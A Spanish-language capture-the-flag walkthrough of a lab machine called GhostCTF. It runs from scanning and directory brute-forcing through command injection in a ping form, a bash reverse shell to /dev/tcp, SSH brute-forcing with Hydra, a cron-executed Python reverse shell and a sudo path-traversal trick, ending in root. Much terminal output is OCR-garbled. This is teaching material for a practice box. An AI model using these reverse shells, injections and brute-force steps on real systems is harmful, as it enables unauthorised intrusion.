Walkthrough GhostCTF
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1. RECONOCIMIENTO

|- [~/Desktop]
192.168.28.0,/24

Starting Nmap 7.945VN ( ap.org ) at 2 -Q4-@4 22:086 CEST
Nmap scan report for 192.168.2
Host i1s up (@.00062s5 latenc
Mmap scan report for 1
Host is up (@.080893s
Nmap scan report for 1
Host is up (@.0006@85 latency).
Nmap done: 256 IP addre : 5 ca 2.72 seconds

Nmap s
Host is up W)
Not shown: ¢ filtere tcp ports (no-response)
PORT STATE
21/tcp open ftp
ftp-syst:

d in as ftp
ASCII
No session bandwidth limit
ession timeout in seconds is
ntrol connection is plain t

-
_End of
ftp-anon: Anonymous FTP login allowed (FTP code

Linux; CPE: cpe:/o:linux:linu:

map.org/submit/

Después de saber su IP le tiro un escaneo de puertos para saber algunas posibles
vulnerabilidades que pueda tener o saber que puertos estan abiertos para poder
aprovecharlos



|- [~/Desktop]
://192.168.28.11 fusr/share/wordlists/dirb/big.txt

By The Dark Raver

START_TIME: Thu Apr
URL_BASE: http://192.
WORDLIST_FILES:

L11/
DE:200|SIZE:691)
(CODE:4@3|SIZE:278)

END_TIME: Thu Apr &
DOWNLOADED: 2@458 - FOUND:

Sabiendo que tiene corriendo un apache, podemos tirarle un “dirb” para saber qué
directorios o archivos web tienen por la red dentro de este apache
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Ejecutar Comando Limpiar Salida

Si ponemos la direccion IP de la maquina victima y no le especificamos el puerto no
redirigira al puerto 80 que es el que viene por defecto en el cual esta corriendo el apache
(Una pagina web) con esto ya podemos investigarla para sacar posibles credenciales o
vulnerabilidades



#»  192.168.28 11/robots.txt x +
E} a 192.168.28.1°

KaliLinux #& KaliTools = KaliDocs & Kali Forums e Kali NetHunter Exploit-DB Google Hack

HHHHAE FHEHE A HHF
#H #H O S #E  # A A
## # O# #F #F A O#F & ## #
#HHHE  #F #F #EREE #F & HHF
#H #F #F #F #F O #F & #HE i #

ot
## ;

HOEE #H OB M OSE #E & 8 T F
4

#HHE #F SR R HEH HHEHH HHF ## #H#  #F #F

User-agent: *

En el “dirb” nos puso que habia un robots.txt que es donde se encuentran las ubicaciones
de directorios web que no quieren que indexen los navegadores (esto si esta la palabra
Disallow que significa que no lo indexen) pero en este caso vemos una vulnerabilidad o un
fallo que nos muestra 3 rutas completas pero no en todas podemos acceder ya que es una
trampa para que perdamos tiempo, solo hay 1 de la que es real aqui dentro y es “/FLAG.txt”



#FLAG1

2.168.28.11/FLAG.xt x4+

) O

Kali Linux # KaliTools « KaliDocs & Kali Forums e Kali NetHunter

##

HHH

#HHHF ##H# H A
##  #F ##

#EREE #F B ##
#HO#F HdE
HRE ## ##
AR
Alright, you have the 1/4 flag
This flag is worth 18 points

You start somewhere, you already have your first flag, keep it up!

Si le damos a la flag veremos el contenido de la misma

Ejecutar Comando Limpiar Salida

Pero si volvemos a la pagina principal y le damos al botén “Ejecutar Comando” van a pasar
varios comandos y entre ellos el que nos interesa es en el que pone “cat README.txt” y su
contenido vemos que pone “d05notfound” por lo que lo ingresamos en el http por que es
una carpeta que no se encuentra en el “dirb”
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<« C @ T A 192 Snotfound/d05notfound.pl
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Ingresa tu IP:

Enviar

Una vez dentro de la pagina oculta hay un cuadro en el que pone que ingresemos nuestra
IP, por lo que parece que hace un ping de primeras...

Ingresa t

Enviar

4 ping statistics
mitted, 1 recei
/mdev = 0.335

no del comando: 255
ndo:
ill not be all @ ; not a terminal.

sible by others.

ac ain:
ion denied (publickey,password).

Al probar a meter nuestra IP se ve que nos muestra un mensaje de que hace ping, pero
esto lo podemos aprovechar para enlazarlo con otros comandos que se ejecutaran en la
terminal del servidor de la maquina victima



Enviar

oso a la IP: 192.1
16 ( 8

4 ping statistics ---
transmitted, 1 i

n/nologin

u in/nologin
:fvar/lib/gnats: fusr/sbin/nologin
/nologin

ment, ,, :/run/
'systemd: fus
isten rf
systemd-timesy - :systemd Time
yollinate

8.28.4] /binfbash -i >& [dev/tcp/192.168.28.4/7777 0>&1

Pero lo que haremos sera ejecutar una “Reverse Shell” con la IP de nuestro Host y el puerto
gue queramos enlazando lo con ese comando ya que hemos comprobado que el “cat” lo lee
perfectamente, pero antes de ejecutar ese comando nos ponemos a la escucha mediante
nuestro “host”



|-[~/Desktop ]

Lvnp 7777

Listening on [any] 7777

Una vez estando a la escucha lo ejecutamos...

2. USUARIO WWW-DATA

|- [~/Desktop]

listening on ¥

connect to [192.1f ] from (UNKNOWN) [192.168.28.11] 48

bash: cannot set terminal process group ( Inappropria ioctl for device
bash: mo job control im this shell

ww-datadghostctf:~$ |

Una vez que lo ejecutemos la pestafia se quedara pensando y nos creara una shell con el
usuario por defecto de la web “www-data”

:/home/eliotd 1s

t 21idt
root
t 21idt
t 21idt
t 21idt
t 21idt
root 460 a
t 2el1i@t 4096
t el1i@t 827
root 4096 a

===

oo
O L L I s |

'n
=
I
o

.profile
25 ww-data

.'l|,
1
1
1
1

Nos vamos a la /home de “e1i0t” y observamos que contiene



#FLAG2

Very good, you have flag

is flag is worth 20 points

you found half of the flags

root
ctf:/home/e]

nos metemos en la carpeta “www-data/” visualizamos el archivo passwd.txt y veremos qué
nos dice que si hemos probado a utilizar basicamente el unix_password.txt de metasploit el
diccionario de fuerza bruta



)~ [~/Desktop]
1i P fusr/share/wordlists/metasploit/unix_passwords.txt ssh:/
/an Hauser/THC & David Ma - Please do not use in

Hydra
[WARNIN

do in
do in @0:
in
in
rd: autumn
found
threads did not complete until end.

did not
ithub.com

)~ [~/Desktop]

Una vez sacado la contrasefia del usuario mencionado con ese diccionario veremos la
contrasefia “autumn”

3. USUARIO E1I0T

|- [~/Desktop]
elidt@®l192.168.28.11
tml192.168.28.11"'s password:
Welcome to Ubuntu B4 4 LTS (GNU/Linux 5.15.0-101-generic x86_6

Documentation: elp.ubuntu.com
Management: andscape.canonical.com
Support: ibuntu. com/pro
12608 UTC
12

in: il
for enp@s3: 192.168

IoT secure. Learn how MicroK8s

raised the bar for easy, re : ind secure K8s cluster deployment.

e/secure-kuberne

a recibir futuras ]
com/esm o ejecute «sudo pro




Nos conectamos a el...

elidtaghostctf:

# DO NOT EDIT THIS FILE - edit the ma
(/tmp/crontab.JjQU3%/crontab inst on Wed Apr
(Cron version -- $Id: crontab.c .13 1994/01/17 @
Edit this file to introduce task e run by cron.

R

sk to run has to be defined through a single line
ing with different fields when the task will be run
and what command to rum for the task

To define the time you can provide concrete values for
minute }, hour (h), day of month (dom), month (mon),
and day of week (dow) or use "#° in these fields (for
ed on the cron's
Output of the crontab jobs (including errors) is sent through
T

email to the user the crontab file belongs to (unless redirected).

For example, you can run a backup of all your user accounts

i
i
i
i
I
i
i
i
i
I
i
i
i
I
f
i
i
i
i
f
i
i
i
f
i

m h dom mon dow command

*/5 * * * * fusr/bin/python3 /tmp/script.py

Dentro de este usuario nos dirigimos a los “crontabs” en el cual encontraremos que hay una
tarea ejecutandose autenticado como el usuario “anOn1m8t0” y pone que se esta
ejecutando un archivo llamado script.py en /tmp/

$ cd /tmp/

Vemos que es .py no esta creado, por lo que lo creamos nosotros y escribimos lo que
creamos para escalar privilegios la cual se va a ejecutar cada 5 minutos

$ nano script.py

s; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.28.4", 7777)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1)

en mi caso hare una “Reverse Shell” para que cuando se ejecute y estando a la escucha se
me cree una shell autenticada como el usuario dicho anteriormente



Script.py:
import subprocess
# Ejecutar el comando de Python desde el script de Python

|-[~/Desktop]

-lvnp 7777
listening on [any] 7777

Ahora estando a la escucha mientras esperamos a que ese .py se ejecuta para que nos
devuelva la shell

4. USUARIO ANON1MS8TO

)=[~/Desktop]

listening on [any] 7777
connect to [192.168.28.4] from (UNKNOWN) [192.168.28.11] 49992

$ whoami
whoami
andnlmstad

Al rato veremos que nos la devuelve...



$ cd an@nimate

cd an@nlmEt@
% 1s -la
1

ls -la

-TW-T -1

-TW-T -

r
r
r
r
I

r

—I'W-T'w-

andnlmétd
root
an@nilmst@
an@nilmst@
an@nilmst@
root

I an@nilms8tad

an@nlmatd
an@nlmatd

an@nilmst@
root

an@nilmst@
an@nilmst@

4@96 a

&

an@nlm&t@ 3.

root

an@nilmst@
an@nilmst@
an@nilmst@

4096

aa7
66
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.profile
.selected_editor

Al leer el less.txt vemos que nos dice que busquemos mejor en las carpetas para encontrar
algo que podamos leer un “secreto”

$ sudo -1
sudo -1
Matching Defaults entries for an@nlm8t@ on ghostctf:

User an@nlm8t@ may r
(ALL : ALL) NOP

Al hacer “sudo -I” vemos que tenemos permiso para leer lo que sea dentro de la carpeta
/secret/, pero se puede hacer un truco y salirte de esa carpeta entrando en ella a la vez,
algo tal que asi... “sudo cat /secret/../home/etc...” esto lo que va hacer es que se va a
comportar como que esta entrando en la carpeta y saliendo de la misma a la vez y asi te
dejara leer lo que sea



#FLAG3

good, you have th

is worth 2@ points.

anaged to get this far it means that you are only one step from getting the last flag and thus being root, good luck!

If you can read this, you can read more things, just find out where ...

pista...

root
an@nim8t@

Haciendo el truco que conté antes podemos leer ese enlace simbolico que esta en la /home
la cual nos dice una pista para sacar la contrasefa del otro usuario “casper”



[~/Desktop]
171 dic

[~/Desktop]

https i . : -thc/thc-hy arti 0 119
RNING] M | tions limit the number s recommended to T

X 4 ] L sk 576 login {1/ 1676) 11 tries pe

to do in @
fanta (447
ound
ads did not compl until end.

Una vez que hayamos creado el diccionario y sacado las claves a “casper” nos conectamos
por ssh

5. USUARIO CASPER




confined Kubernetes makes edge ecure. Learn how MicroK8s
resilie ] ecure K cluster deployment.

iciones de forma inmedia

a
ejecute:

de seguridad adicionales.
do pro status»

The
the ct distribution terms for
individual files in /usr/sh: 'd

Ubuntu comes with ABSOLUTELY NO WARRANTY, t
applicable law

The
the e: stribution terms for
ind al les in /fusr/sh; 'd

Ubuntu comes with ABSOLUTELY NO WARRANTY, t
applicable law

Last login: Thu Apr 4 1

Could not chdir to home di tory /Shome/casper: MNo such file or dir

To run a command as administi r (user "root"), use "sudo omman
e "man sudo_root” for de

User casper may run the following commands on ghostctf:
(ALL : ALL) ALL

Vemos que al hacer “sudo -I” tenemos todos los permisos para ser “root”



6. USUARIO ROOT

~# 1s

root
root
root
root
root
root
root
root
root
root
root
root

=15

root
root
root

root

root
root
root
root
root
root
root
root

Very good, you have the

LPO6 a
7 LPO6 a
i~ cat FLAG.txt

This flag is worth 38 points

R e TS SRS I

= = W WD

Congratulations!! you managed to hack my machine, you are a crack

Code: 029%9kaWdv0iBnaG9zdHI1lc3V0IbHRY

Una vez siendo “root” leemos la ultima flag y con esto ya estaria echa la maquina jeje

GRACIAS POR HABER PARTICIPADO EN MI MINIJUEGO DE HACKING ETICO



